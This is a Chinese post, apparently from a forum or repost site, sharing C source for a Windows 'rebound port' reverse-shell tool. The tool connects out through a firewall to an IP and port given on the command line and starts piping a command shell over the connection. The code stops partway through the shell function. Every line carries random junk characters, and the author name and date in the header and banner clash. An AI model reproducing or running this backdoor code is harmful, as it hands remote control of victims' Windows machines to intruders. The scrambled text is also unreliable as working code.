这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 m6yIR6H
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/* ============================== J~iBB~x.
Rebound port in Windows NT P;8>5;U4-
By wind,2006/7 ;.Ie#Vr1N
===============================*/ a=$t &7;,
#include Q2];RS3.
#include J.+BD\pa
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#pragma comment(lib,"wsock32.lib") h~,JdDV8l*
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void OutputShell(); \zkw2*t
SOCKET sClient; [;oCYb$9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Btd Xv4V
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void main(int argc,char **argv) |nk3^;Yf
{ DtWwGC
WSADATA stWsaData; desThnTw
int nRet; 25|8nfeC5
SOCKADDR_IN stSaiClient,stSaiServer; zggB$5
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if(argc != 3) geefnb
{ PaCzr5!~f
printf("Useage:\n\rRebound DestIP DestPort\n"); X#UMIlU
return; OAZ#|U
} k)FmDX
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WSAStartup(MAKEWORD(2,2),&stWsaData); `wTlyS3[
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ftavbNR`W
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stSaiClient.sin_family = AF_INET; g#K'6VK{
stSaiClient.sin_port = htons(0); l t]B#, '
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AzpV4(:an.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D;F{1[s(
{ W*xX{$NL
printf("Bind Socket Failed!\n"); I]J*BD#n.
return; 3rf#Q}"
} VAYb=4lt
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stSaiServer.sin_family = AF_INET; r<L#q)]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mg+k'Myo+
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vU/ D7
;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ r.FLGDU
printf("Connect Error!"); R/<=mZ
return; *"G 8
} h K}bj
OutputShell(); ]~a_d)
} ?Nl"sVCo
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void OutputShell() ZZ
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{ _Nu`)m
char szBuff[1024]; A1,4kqmE
SECURITY_ATTRIBUTES stSecurityAttributes; {u30rc"
OSVERSIONINFO stOsversionInfo; iWXMKu
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1]/N2&
STARTUPINFO stStartupInfo; 4&}\BU*
char *szShell; U=o Z.\
PROCESS_INFORMATION stProcessInformation; a0zG(7.D
unsigned long lBytesRead; NR/-m7#-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .Y/-8H-3v
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4IGxI7~27#
stSecurityAttributes.lpSecurityDescriptor = 0; W<gD6+=8
stSecurityAttributes.bInheritHandle = TRUE; .{N\<